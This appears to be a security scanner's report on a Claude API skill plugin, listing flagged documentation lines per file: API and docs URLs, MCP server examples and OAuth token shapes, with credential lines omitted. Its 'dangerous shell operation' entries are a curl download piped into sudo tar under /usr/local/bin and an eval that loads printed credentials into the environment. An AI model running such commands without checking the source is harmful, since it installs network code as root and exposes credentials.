    > **Bindings not shown here:** This README covers the most common managed-agents flows for PHP. If you need a class, method, namespace, field, or behavior that isn't shown, WebFetch the PHP SDK repo **or the relevant docs page** from `share
  • Access to secretsline 18
    [Credential-related source omitted]
  • Network accessline 65
    ); echo "Session ID: {$session->id}\n"; echo "Trace: https://platform.claude.com/workspaces/default/sessions/{$session->id}\n"; // swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 67
    echo "Trace: https://platform.claude.com/workspaces/default/sessions/{$session->id}\n"; // swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 207
    > ℹ<U+FE0F> **PHP file upload:** The PHP SDK's beta managed-agents file upload binding is not shown in the apps source examples; the canonical PHP example uses raw cURL against `POST /v1/files`. If your codebase prefers the SDK, WebFetch the `anth
  • Network accessline 212
    // Raw cURL upload (canonical example from the apps source)
  • Network accessline 213
    $csvPath = 'data.csv'; $ch = curl_init('https://api.anthropic.com/v1/files'); curl_setopt_array($ch, [
  • Network accessline 214
    $ch = curl_init('https://api.anthropic.com/v1/files');
  • Access to secretsline 219
    [Credential-related source omitted]
  • Network accessline 313
    type: 'url',             name: 'github',             url: 'https://api.githubcopilot.com/mcp/',
  • Network accessline 314
    name: 'github',             url: 'https://api.githubcopilot.com/mcp/',         ),
  • Network accessline 315
    url: 'https://api.githubcopilot.com/mcp/',
  • Network accessline 357
    auth: [         'type' => 'mcp_oauth',         'mcp_server_url' => 'https://mcp.slack.com/mcp',
  • Network accessline 358
    [Credential-related source omitted]
  • Network accessline 359
    'mcp_server_url' => 'https://mcp.slack.com/mcp',
  • Access to secretsline 360
    [Credential-related source omitted]
  • Network accessline 361
    'expires_at' => '2026-04-15T00:00:00Z',         'refresh' => [             'token_endpoint' => 'https://slack.com/api/oauth.v2.access',
  • Network accessline 362
    'refresh' => [             'token_endpoint' => 'https://slack.com/api/oauth.v2.access',             'client_id' => '1234567890.0987654321',
  • Network accessline 363
    'token_endpoint' => 'https://slack.com/api/oauth.v2.access',
  • Access to secretsline 369
    [Credential-related source omitted]
  • Access to secretsline 381
    [Credential-related source omitted]
  • Network accessline 403
    [             'type' => 'github_repository',             'url' => 'https://github.com/org/repo',
  • Network accessline 404
    'type' => 'github_repository',             'url' => 'https://github.com/org/repo',             'mount_path' => '/workspace/repo',
  • Network accessline 405
    'url' => 'https://github.com/org/repo',
  • Network accessline 417
    [         'type' => 'github_repository',         'url' => 'https://github.com/org/frontend',
  • Network accessline 418
    'type' => 'github_repository',         'url' => 'https://github.com/org/frontend',         'mount_path' => '/workspace/frontend',
  • Network accessline 419
    'url' => 'https://github.com/org/frontend',
  • Network accessline 423
    [         'type' => 'github_repository',         'url' => 'https://github.com/org/backend',
  • Network accessline 424
    'type' => 'github_repository',         'url' => 'https://github.com/org/backend',         'mount_path' => '/workspace/backend',
  • Network accessline 425
    'url' => 'https://github.com/org/backend',

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/python/claude-api/README.md

  • Access to secretsline 15
    [Credential-related source omitted]
  • Access to secretsline 20
    [Credential-related source omitted]
  • Network accessline 53
    `anthropic` 1.x is built on [`httpx2`](https://pypi.org/project/httpx2/), not `httpx`. `anthropic.Timeout` is `httpx2.Timeout`; if you import the HTTP library yourself, write `import httpx2 as httpx` — an object from the `httpx` package (`h
  • Network accessline 77
    client = Anthropic(     base_url="http://my.test.server.example.com:8083",  # or ANTHROPIC_BASE_URL env var
  • Network accessline 78
    base_url="http://my.test.server.example.com:8083",  # or ANTHROPIC_BASE_URL env var
  • Network accessline 79
    http_client=DefaultHttpxClient(proxy="http://my.test.proxy.example.com"),
  • Network accessline 178
    "source": {                     "type": "url",                     "url": "https://example.com/image.png"
  • Network accessline 179
    "type": "url",                     "url": "https://example.com/image.png"                 }
  • Network accessline 180
    "url": "https://example.com/image.png"

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/python/claude-api/sdk-upgrade.md

  • Network accessline 18
    **Target version.** Before writing any pin, confirm a 1.x release is actually published: `pip index versions anthropic` (or `curl -s https://pypi.org/pypi/anthropic/json` and read `info.version`). Use the newest 1.x you find. If no 1.x rele
  • Network accessline 60
    - **[BREAKS] Objects passed in.** `httpx.Timeout`, `httpx.Limits`, transports (`httpx.HTTPTransport(...)`, `AsyncHTTPTransport`, `MockTransport`), and whole clients (`httpx.Client` / `AsyncClient` as `http_client=`) must come from `httpx2`.
  • Network accessline 67
    client = Anthropic(       timeout=httpx.Timeout(60.0, connect=5.0),
  • Network accessline 68
    timeout=httpx.Timeout(60.0, connect=5.0),
  • Network accessline 69
    http_client=DefaultHttpxClient(proxy="http://proxy.example", transport=httpx.HTTPTransport(retries=1)),
  • Network accessline 76
    client = Anthropic(       timeout=httpx.Timeout(60.0, connect=5.0),
  • Network accessline 77
    timeout=httpx.Timeout(60.0, connect=5.0),
  • Network accessline 78
    http_client=DefaultHttpxClient(proxy="http://proxy.example", transport=httpx.HTTPTransport(retries=1)),

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/python/claude-api/tool-use.md

  • Network accessline 91
    **Beta.** Convert [MCP (Model Context Protocol)](https://modelcontextprotocol.io/) tools, prompts, and resources to Anthropic API types for use with the tool runner. Requires `pip install anthropic[mcp]` (Python 3.10+).
  • Network accessline 496
    - `https://github.com/anthropics/anthropic-sdk-python/blob/main/examples/memory/basic.py`

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/python/managed-agents/README.md

  • Network accessline 3
    > **Bindings not shown here:** This README covers the most common managed-agents flows for Python. If you need a class, method, namespace, field, or behavior that isn't shown, WebFetch the Python SDK repo **or the relevant docs page** from 
  • Access to secretsline 19
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]
  • Network accessline 62
    ) print(session.id, session.status) print(f"Trace: https://platform.claude.com/workspaces/default/sessions/{session.id}")  # swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 64
    print(f"Trace: https://platform.claude.com/workspaces/default/sessions/{session.id}")  # swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 98
    {             "type": "github_repository",             "url": "https://github.com/owner/repo",
  • Network accessline 99
    "type": "github_repository",             "url": "https://github.com/owner/repo",             "mount_path": "/workspace/repo",
  • Network accessline 100
    "url": "https://github.com/owner/repo",
  • Access to secretsline 102
    [Credential-related source omitted]
  • Network accessline 195
    > ⚠<U+FE0F> **Prefer the SDK over raw `requests`/`httpx`.** If you hand-roll a poll loop, don't assume `timeout=(5, 60)` or `httpx.Timeout(120)` caps total call duration — both are **per-chunk** read timeouts (reset on every byte), so a trickling 
  • Network accessline 317
    model="claude-opus-5",     mcp_servers=[         {"type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse"},
  • Network accessline 318
    mcp_servers=[         {"type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse"},     ],
  • Network accessline 319
    {"type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse"},

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/ruby/claude-api/README.md

  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 20
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/ruby/managed-agents/README.md

  • Network accessline 3
    > **Bindings not shown here:** This README covers the most common managed-agents flows for Ruby. If you need a class, method, namespace, field, or behavior that isn't shown, WebFetch the Ruby SDK repo **or the relevant docs page** from `sha
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 22
    [Credential-related source omitted]
  • Network accessline 64
    ) puts "Session ID: #{session.id}" puts "Trace: https://platform.claude.com/workspaces/default/sessions/#{session.id}"  # swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 66
    puts "Trace: https://platform.claude.com/workspaces/default/sessions/#{session.id}"  # swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 271
    type: "url",       name: "github",       url: "https://api.githubcopilot.com/mcp/"
  • Network accessline 272
    name: "github",       url: "https://api.githubcopilot.com/mcp/"     }
  • Network accessline 273
    url: "https://api.githubcopilot.com/mcp/"
  • Network accessline 308
    auth: {     type: "mcp_oauth",     mcp_server_url: "https://mcp.slack.com/mcp",
  • Network accessline 309
    [Credential-related source omitted]
  • Network accessline 310
    mcp_server_url: "https://mcp.slack.com/mcp",
  • Access to secretsline 311
    [Credential-related source omitted]
  • Network accessline 312
    expires_at: "2026-04-15T00:00:00Z",     refresh: {       token_endpoint: "https://slack.com/api/oauth.v2.access",
  • Network accessline 313
    refresh: {       token_endpoint: "https://slack.com/api/oauth.v2.access",       client_id: "1234567890.0987654321",
  • Network accessline 314
    token_endpoint: "https://slack.com/api/oauth.v2.access",
  • Access to secretsline 320
    [Credential-related source omitted]
  • Access to secretsline 332
    [Credential-related source omitted]
  • Network accessline 354
    {       type: "github_repository",       url: "https://github.com/org/repo",
  • Network accessline 355
    type: "github_repository",       url: "https://github.com/org/repo",       mount_path: "/workspace/repo",
  • Network accessline 356
    url: "https://github.com/org/repo",
  • Network accessline 368
    {     type: "github_repository",     url: "https://github.com/org/frontend",
  • Network accessline 369
    type: "github_repository",     url: "https://github.com/org/frontend",     mount_path: "/workspace/frontend",
  • Network accessline 370
    url: "https://github.com/org/frontend",
  • Network accessline 374
    {     type: "github_repository",     url: "https://github.com/org/backend",
  • Network accessline 375
    type: "github_repository",     url: "https://github.com/org/backend",     mount_path: "/workspace/backend",
  • Network accessline 376
    url: "https://github.com/org/backend",

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/agent-design.md

  • Network accessline 28
    - **Security boundary.** Actions that require gating are natural candidates. Reversibility is a useful criterion: hard-to-reverse actions (external API calls, sending messages, deleting data) can be gated behind user confirmation. A `send_e

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/anthropic-cli.md

  • Network accessline 23
    # Linux / WSL — pick the release from github.com/anthropics/anthropic-cli/releases curl -fsSL "https://github.com/anthropics/anthropic-cli/releases/download/v${VERSION}/ant_${VERSION}_$(uname -s | tr A-Z a-z)_$(uname -m | sed -e s/x86_64/am
  • Dangerous shell operationline 24
    curl -fsSL "https://github.com/anthropics/anthropic-cli/releases/download/v${VERSION}/ant_${VERSION}_$(uname -s | tr A-Z a-z)_$(uname -m | sed -e s/x86_64/amd64/ -e s/aarch64/arm64/).tar.gz"    | sudo tar -xz -C /usr/local/bin ant
  • Network accessline 24
    curl -fsSL "https://github.com/anthropics/anthropic-cli/releases/download/v${VERSION}/ant_${VERSION}_$(uname -s | tr A-Z a-z)_$(uname -m | sed -e s/x86_64/amd64/ -e s/aarch64/arm64/).tar.gz" \
  • Dangerous shell operationline 25
    | sudo tar -xz -C /usr/local/bin ant
  • Access to secretsline 31
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 34
    [Credential-related source omitted]
  • Access to secretsline 37
    [Credential-related source omitted]
  • Network accessline 57
    # Bare access token — for curl's Authorization header curl https://api.anthropic.com/v1/messages \
  • Network accessline 58
    curl https://api.anthropic.com/v1/messages \
  • Access to secretsline 65
    [Credential-related source omitted]
  • Dangerous shell operationline 67
    set -a; eval "$(ant auth print-credentials --env)"; set +a
  • Access to secretsline 68
    [Credential-related source omitted]
  • Access to secretsline 71
    [Credential-related source omitted]
  • Access to secretsline 73
    [Credential-related source omitted]
  • Network accessline 106
    `--transform` takes a [GJSON path](https://github.com/tidwall/gjson/blob/master/SYNTAX.md). On list endpoints it runs **per item**, not on the envelope.

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/claude-platform-on-aws.md

  • Network accessline 45
    Endpoint pattern: `https://aws-external-anthropic.{region}.api.aws/v1/...`. Requests are SigV4-signed with service name `aws-external-anthropic`.
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/error-codes.md

  • Access to secretsline 59
    [Credential-related source omitted]
  • Access to secretsline 61
    [Credential-related source omitted]
  • Network accessline 155
    **Fix:** Retry with exponential backoff. If persistent, check [status.anthropic.com](https://status.anthropic.com).

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/live-sources.md

  • Network accessline 16
    | Topic           | URL                                                                          | Extraction Prompt                                                               | | --------------- | ---------------------------------------
  • Network accessline 17
    | --------------- | ---------------------------------------------------------------------------- | ------------------------------------------------------------------------------- | | Models Overview | `https://platform.claude.com/docs/en/mo
  • Network accessline 18
    | Models Overview | `https://platform.claude.com/docs/en/models/overview.md`        | "Extract current model IDs, context windows, and pricing for all Claude models" |
  • Network accessline 19
    | Migration Guide | `https://platform.claude.com/docs/en/about-claude/models/migration-guide.md` | "Extract breaking changes, deprecated parameters, and per-model migration steps when moving to a newer Claude model" |
  • Network accessline 20
    | Introducing Claude Fable 5 | `https://platform.claude.com/docs/en/models/fable-5/introducing-claude-fable-5-and-claude-mythos-5.md` | "Extract capabilities, API changes, and availability stages for Claude Fable 5 and Claude Mythos 5" |
  • Network accessline 21
    | Pricing         | `https://platform.claude.com/docs/en/about-claude/pricing.md`                             | "Extract current pricing per million tokens for input and output"               |
  • Network accessline 25
    | Topic             | URL                                                                          | Extraction Prompt                                                                      | | ----------------- | ----------------------------
  • Network accessline 26
    | ----------------- | ---------------------------------------------------------------------------- | -------------------------------------------------------------------------------------- | | Extended Thinking | `https://platform.claude.com
  • Network accessline 27
    | Extended Thinking | `https://platform.claude.com/docs/en/build-with-claude/extended-thinking.md` | "Extract extended thinking parameters, budget_tokens requirements, and usage examples" |
  • Network accessline 28
    | Adaptive Thinking | `https://platform.claude.com/docs/en/build-with-claude/adaptive-thinking.md` | "Extract adaptive thinking setup, effort levels, and Claude Opus 5 usage examples"         |
  • Network accessline 29
    | Effort Parameter  | `https://platform.claude.com/docs/en/build-with-claude/effort.md`            | "Extract effort levels, cost-quality tradeoffs, and interaction with thinking"        |
  • Network accessline 30
    | Tool Use          | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/overview.md`  | "Extract tool definition schema, tool_choice options, and handling tool results"       |
  • Network accessline 31
    | Streaming         | `https://platform.claude.com/docs/en/build-with-claude/streaming.md`         | "Extract streaming event types, SDK examples, and best practices"                      |
  • Network accessline 32
    | Prompt Caching    | `https://platform.claude.com/docs/en/build-with-claude/prompt-caching.md`    | "Extract cache_control usage, pricing benefits, and implementation examples"           |
  • Network accessline 36
    | Topic       | URL                                                                    | Extraction Prompt                                                 | | ----------- | -------------------------------------------------------------------
  • Network accessline 37
    | ----------- | ---------------------------------------------------------------------- | ----------------------------------------------------------------- | | Vision      | `https://platform.claude.com/docs/en/build-with-claude/vision.md`  
  • Network accessline 38
    | Vision      | `https://platform.claude.com/docs/en/build-with-claude/vision.md`      | "Extract supported image formats, size limits, and code examples" |
  • Network accessline 39
    | PDF Support | `https://platform.claude.com/docs/en/build-with-claude/pdf-support.md` | "Extract PDF handling capabilities, limits, and examples"         |
  • Network accessline 43
    | Topic            | URL                                                                         | Extraction Prompt                                                                                       | | ---------------- | --------------
  • Network accessline 44
    | ---------------- | --------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------- | | Batch Processing | `https://platf
  • Network accessline 45
    | Batch Processing | `https://platform.claude.com/docs/en/build-with-claude/batch-processing.md` | "Extract batch API endpoints, request format, and polling for results"                                  | | Files API        | `https://platf
  • Network accessline 46
    | Files API        | `https://platform.claude.com/docs/en/build-with-claude/files.md`            | "Extract file upload, download, and referencing in messages, including supported types and beta header" |
  • Network accessline 47
    | Token Counting   | `https://platform.claude.com/docs/en/build-with-claude/token-counting.md`   | "Extract token counting API usage and examples"                                                         |
  • Network accessline 48
    | Rate Limits      | `https://platform.claude.com/docs/en/api/rate-limits.md`                    | "Extract current rate limits by tier and model"                                                         |
  • Network accessline 49
    | Errors           | `https://platform.claude.com/docs/en/api/errors.md`                         | "Extract HTTP error codes, meanings, and retry guidance"                                                |
  • Network accessline 50
    | Amazon Bedrock   | `https://platform.claude.com/docs/en/build-with-claude/claude-on-amazon-bedrock.md` | "Extract the AnthropicBedrockMantle client per language, `anthropic.`-prefixed model IDs, auth paths, feature availability, and regio
  • Network accessline 51
    | Claude Platform on AWS | `https://platform.claude.com/docs/en/build-with-claude/claude-platform-on-aws.md` | "Extract the AnthropicAWS client per language, SigV4 auth, credential precedence, short-term API keys, workspace_id, and region r
  • Network accessline 52
    | Claude Platform on AWS — IAM actions | `https://platform.claude.com/docs/en/api/claude-platform-on-aws-iam-actions.md` | "Extract the IAM action names, resource ARNs, and policy examples required for each API capability" |
  • Network accessline 56
    | Topic          | URL                                                                                    | Extraction Prompt                                                                        | | -------------- | ----------------------
  • Network accessline 57
    | -------------- | -------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- | | Code Execution | `https://platform.clau
  • Network accessline 58
    | Code Execution | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/code-execution-tool.md` | "Extract code execution tool setup, file upload, container reuse, and response handling" |
  • Network accessline 59
    | Computer Use   | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/computer-use.md`        | "Extract computer use tool setup, capabilities, and implementation examples"             |
  • Network accessline 60
    | Bash Tool      | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/bash-tool.md`           | "Extract bash tool schema, reference implementation, and security considerations"        |
  • Network accessline 61
    | Text Editor    | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/text-editor-tool.md`    | "Extract text editor tool commands, schema, and reference implementation"                |
  • Network accessline 62
    | Memory Tool    | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/memory-tool.md`         | "Extract memory tool commands, directory structure, and implementation patterns"         |
  • Network accessline 63
    | Tool Search    | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool.md`    | "Extract tool search setup, when to use, and cache interaction"                          |
  • Network accessline 64
    | Programmatic Tool Calling | `https://platform.claude.com/docs/en/agents-and-tools/tool-use/programmatic-tool-calling.md` | "Extract PTC setup, script execution model, and tool invocation from code"    |
  • Network accessline 65
    | Skills         | `https://platform.claude.com/docs/en/agents-and-tools/skills.md`                       | "Extract skill folder structure, SKILL.md format, and loading behavior"                  |
  • Network accessline 69
    | Topic              | URL                                                                           | Extraction Prompt                                   | | ------------------ | ------------------------------------------------------------
  • Network accessline 70
    | ------------------ | ----------------------------------------------------------------------------- | --------------------------------------------------- | | Structured Outputs | `https://platform.claude.com/docs/en/build-with-claude/struc
  • Network accessline 71
    | Structured Outputs | `https://platform.claude.com/docs/en/build-with-claude/structured-outputs.md` | "Extract output_config.format usage and schema enforcement"                           |
  • Network accessline 72
    | Compaction         | `https://platform.claude.com/docs/en/build-with-claude/compaction.md`         | "Extract compaction setup, trigger config, and streaming with compaction"             |
  • Network accessline 73
    | Context Editing    | `https://platform.claude.com/docs/en/build-with-claude/context-editing.md`    | "Extract context editing thresholds, what gets cleared, and configuration"            |
  • Network accessline 74
    | Citations          | `https://platform.claude.com/docs/en/build-with-claude/citations.md`          | "Extract citation format and implementation"        |
  • Network accessline 75
    | Context Windows    | `https://platform.claude.com/docs/en/build-with-claude/context-windows.md`    | "Extract context window sizes and token management" |
  • Network accessline 81
    | Topic                 | URL                                                                              | Extraction Prompt                                                                               | | --------------------- | -------
  • Network accessline 82
    | --------------------- | -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | | Overview              | `https:
  • Network accessline 83
    | Overview              | `https://platform.claude.com/docs/en/managed-agents/overview.md`                 | "Extract the high-level architecture and how agents/sessions/environments/vaults fit together" |
  • Network accessline 84
    | Quickstart            | `https://platform.claude.com/docs/en/managed-agents/quickstart.md`               | "Extract the minimal end-to-end agent → environment → session → stream code path"              |
  • Network accessline 85
    | Agent Setup           | `https://platform.claude.com/docs/en/managed-agents/agent-setup.md`              | "Extract agent create/update/list-versions/archive lifecycle and parameters"                   |
  • Network accessline 86
    | Define Outcomes       | `https://platform.claude.com/docs/en/managed-agents/define-outcomes.md`          | "Extract outcome definitions, evaluation hooks, and success criteria configuration"             |
  • Network accessline 87
    | Sessions              | `https://platform.claude.com/docs/en/managed-agents/sessions.md`                 | "Extract session lifecycle, status transitions, idle/terminated semantics, and resume rules"    |
  • Network accessline 88
    | Environments          | `https://platform.claude.com/docs/en/managed-agents/environments.md`             | "Extract environment config (cloud/networking), management endpoints, and reuse model"          |
  • Network accessline 89
    | Self-Hosted Sandboxes | `https://platform.claude.com/docs/en/managed-agents/self-hosted-sandboxes.md`    | "Extract config:{type:self_hosted}, ANTHROPIC_ENVIRONMENT_KEY, EnvironmentWorker.run/run_one, beta_agent_toolset, ant beta:worker p
  • Network accessline 90
    | Self-Hosted Sandboxes — Security | `https://platform.claude.com/docs/en/managed-agents/self-hosted-sandboxes-security.md` | "Extract what the customer owns (hardening, egress, key custody, trust boundaries) vs what Anthropic cannot do" |
  • Network accessline 91
    | Events and Streaming  | `https://platform.claude.com/docs/en/managed-agents/events-and-streaming.md`     | "Extract event stream types, stream-first ordering, reconnect/dedupe, and steering patterns"    |
  • Network accessline 92
    | Tools                 | `https://platform.claude.com/docs/en/managed-agents/tools.md`                    | "Extract built-in toolset, custom tool definitions, and tool result wire format"                |
  • Network accessline 93
    | Files                 | `https://platform.claude.com/docs/en/managed-agents/files.md`                    | "Extract file upload, mount paths, session resources, and listing/downloading session outputs"  |
  • Network accessline 94
    | Permission Policies   | `https://platform.claude.com/docs/en/managed-agents/permission-policies.md`      | "Extract permission policy types (allow/deny/confirm) and per-tool config"                     |
  • Network accessline 95
    | Multi-Agent           | `https://platform.claude.com/docs/en/managed-agents/multiagent-orchestration.md` | "Extract multi-agent composition patterns, sub-agent invocation, and result handoff"            |
  • Network accessline 96
    | Observability         | `https://platform.claude.com/docs/en/managed-agents/observability.md`            | "Extract logging, tracing, and usage telemetry exposed by managed agents"                       |
  • Network accessline 97
    | Webhooks              | `https://platform.claude.com/docs/en/managed-agents/webhooks.md`                 | "Extract webhook endpoint registration, HMAC signature verification, supported event types, and delivery semantics" |
  • Network accessline 98
    | GitHub                | `https://platform.claude.com/docs/en/managed-agents/github.md`                   | "Extract github_repository resource shape, multi-repo mounting, and token rotation"             |
  • Network accessline 99
    | MCP Connector         | `https://platform.claude.com/docs/en/managed-agents/mcp-connector.md`            | "Extract MCP server declaration on agents and vault-based credential injection at session"     |
  • Network accessline 100
    | Vaults                | `https://platform.claude.com/docs/en/managed-agents/vaults.md`                   | "Extract vault create, credential add/rotate, OAuth refresh shape, and archive"                 |
  • Network accessline 101
    | Skills                | `https://platform.claude.com/docs/en/managed-agents/skills.md`                   | "Extract skill packaging and loading model for managed agents"                                  |
  • Network accessline 102
    | Memory                | `https://platform.claude.com/docs/en/managed-agents/memory.md`                   | "Extract memory resource shape, scoping, and lifecycle"                                         |
  • Network accessline 103
    | Onboarding            | `https://platform.claude.com/docs/en/managed-agents/onboarding.md`               | "Extract first-run setup, prerequisites, and account/region requirements"                      |
  • Network accessline 104
    | Cloud Containers      | `https://platform.claude.com/docs/en/managed-agents/cloud-containers.md`         | "Extract cloud container runtime, image config, and network/storage knobs"                     |
  • Network accessline 105
    | Migration             | `https://platform.claude.com/docs/en/managed-agents/migration.md`                | "Extract migration paths from earlier APIs/preview shapes to GA managed agents"                 |
  • Network accessline 111
    | Topic         | URL                                                     | Extraction Prompt                                                                                  | | ------------- | ---------------------------------------------
  • Network accessline 112
    | ------------- | ------------------------------------------------------- | -------------------------------------------------------------------------------------------------- | | Anthropic CLI | `https://platform.claude.com/docs/en/api/sdks
  • Network accessline 113
    | Anthropic CLI | `https://platform.claude.com/docs/en/api/sdks/cli.md`   | "Extract CLI install, authentication, command structure, and the beta:agents/environments/sessions commands" |
  • Network accessline 114
    | Authentication overview | `https://platform.claude.com/docs/en/manage-claude/authentication.md` | "Extract the credential options (API keys, interactive OAuth login, Workload Identity Federation) and when to use each" |
  • Network accessline 115
    | WIF reference | `https://platform.claude.com/docs/en/manage-claude/wif-reference.md`  | "Extract credential precedence order, the profile configuration file schema, and the configuration directory layout" |
  • Network accessline 123
    | SDK        | URL                                                      | Extraction Prompt                                                                                                       | | ---------- | -----------------------------
  • Network accessline 124
    | ---------- | -------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------- | | Python     | `https://github.com/anthropic
  • Network accessline 125
    | Python     | `https://github.com/anthropics/anthropic-sdk-python`     | "Extract beta managed-agents namespaces, classes, and method signatures (`client.beta.agents`, `client.beta.sessions`)" |
  • Network accessline 126
    | TypeScript | `https://github.com/anthropics/anthropic-sdk-typescript` | "Extract beta managed-agents namespaces, classes, and method signatures (`client.beta.agents`, `client.beta.sessions`)" |
  • Network accessline 127
    | Java       | `https://github.com/anthropics/anthropic-sdk-java`       | "Extract beta managed-agents classes, builders, and method signatures (`client.beta().agents()`, `BetaManagedAgents*`)" |
  • Network accessline 128
    | Go         | `https://github.com/anthropics/anthropic-sdk-go`         | "Extract beta managed-agents types and method signatures (`client.Beta.Agents`, `BetaManagedAgents*` event types)"      |
  • Network accessline 129
    | Ruby       | `https://github.com/anthropics/anthropic-sdk-ruby`       | "Extract beta managed-agents methods and parameter shapes (`client.beta.agents`, `client.beta.sessions`)"               |
  • Network accessline 130
    | C#         | `https://github.com/anthropics/anthropic-sdk-csharp`     | "Extract beta managed-agents classes and method signatures (NuGet package, `BetaManagedAgents*` types)"                 |
  • Network accessline 131
    | PHP        | `https://github.com/anthropics/anthropic-sdk-php`        | "Extract beta managed-agents classes and method signatures (`$client->beta->agents`, `BetaManagedAgents*` params)"      |
  • Network accessline 139
    | SDK                | URL                                                                         | Extraction Prompt                                                                                                   | | ------------------ 
  • Network accessline 141
    | Python (0.x → 1.x) | `https://github.com/anthropics/anthropic-sdk-python/blob/main/MIGRATION.md` | "Extract every breaking change with its before/after code, the new minimum Python version, and the upgrade command" |

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-api-reference.md

  • Network accessline 250
    "type": "url",       "name": "github",       "url": "https://api.githubcopilot.com/mcp/"
  • Network accessline 251
    "name": "github",       "url": "https://api.githubcopilot.com/mcp/"     }
  • Network accessline 252
    "url": "https://api.githubcopilot.com/mcp/"
  • Network accessline 279
    {       "type": "github_repository",       "url": "https://github.com/owner/repo (required)",
  • Network accessline 280
    [Credential-related source omitted]
  • Network accessline 281
    "url": "https://github.com/owner/repo (required)",
  • Network accessline 445
    Managed Agents endpoints have per-organization request-per-minute (RPM) limits, separate from your [Messages API token limits](https://platform.claude.com/docs/en/api/rate-limits). Model inference inside a session still draws from your orga
  • Network accessline 453
    Files and Skills endpoints use the standard tier-based [rate limits](https://platform.claude.com/docs/en/api/rate-limits).

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-client-patterns.md

  • Network accessline 5
    Code samples are TypeScript — other languages follow the same shape; see `{lang}/managed-agents/README.md` (cURL and C#: `curl/managed-agents.md`) for equivalents.

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-core.md

  • Network accessline 50
    Every session has a live trace view in the Anthropic Console at `https://platform.claude.com/workspaces/{workspace}/sessions/{session_id}`. Print this URL immediately after creating a session so the user can watch tool calls and messages st
  • Network accessline 129
    > 💡 **Watch it live in Console.** While developing, print a link so you can click through to the session UI instead of parsing the event stream: `https://platform.claude.com/workspaces/{workspace}/sessions/{session.id}`. Use `default` for `
  • Network accessline 353
    {"type": "mcp_toolset", "mcp_server_name": "linear"},         ],         "mcp_servers": [{"type": "url", "name": "linear", "url": "https://mcp.linear.app/sse"}],
  • Network accessline 354
    ],         "mcp_servers": [{"type": "url", "name": "linear", "url": "https://mcp.linear.app/sse"}],     },
  • Network accessline 355
    "mcp_servers": [{"type": "url", "name": "linear", "url": "https://mcp.linear.app/sse"}],

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-environments.md

  • Network accessline 149
    model: 'claude-opus-5',     mcp_servers: [       { type: 'url', name: 'github', url: 'https://api.githubcopilot.com/mcp/' },
  • Network accessline 150
    mcp_servers: [       { type: 'url', name: 'github', url: 'https://api.githubcopilot.com/mcp/' },     ],
  • Network accessline 151
    { type: 'url', name: 'github', url: 'https://api.githubcopilot.com/mcp/' },
  • Network accessline 166
    {       type: 'github_repository',       url: 'https://github.com/owner/repo',
  • Network accessline 167
    [Credential-related source omitted]
  • Network accessline 168
    url: 'https://github.com/owner/repo',
  • Access to secretsline 169
    [Credential-related source omitted]
  • Network accessline 185
    "type": "url",         "name": "github",         "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 186
    "name": "github",         "url": "https://api.githubcopilot.com/mcp/",     }],
  • Network accessline 187
    "url": "https://api.githubcopilot.com/mcp/",
  • Network accessline 199
    resources=[{         "type": "github_repository",         "url": "https://github.com/owner/repo",
  • Network accessline 200
    [Credential-related source omitted]
  • Network accessline 201
    "url": "https://github.com/owner/repo",
  • Access to secretsline 202
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-events.md

  • Network accessline 52
    > ⚠<U+FE0F> **Robust polling (raw HTTP).** If you bypass the SDK and roll your own poll loop, don't rely on `requests` or `httpx` timeouts as wall-clock caps — they're **per-chunk** read timeouts, reset every time a byte arrives. A trickling respo

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-memory.md

  • Network accessline 199
    For cURL examples and the CLI (`ant beta:memory-stores ...`), WebFetch the Memory URL in `shared/live-sources.md` → Managed Agents.

harness/claude-code/plugins/open-horizons-platform/skills/foundry-claude-api/shared/managed-agents-multiagent.md

  • Network accessline 89
    The sections below are the reference for rosters, threads, events, and client-side handling; the platform guide is `https://platform.claude.com/docs/en/managed-agents/multiagent-orchestration.md`.
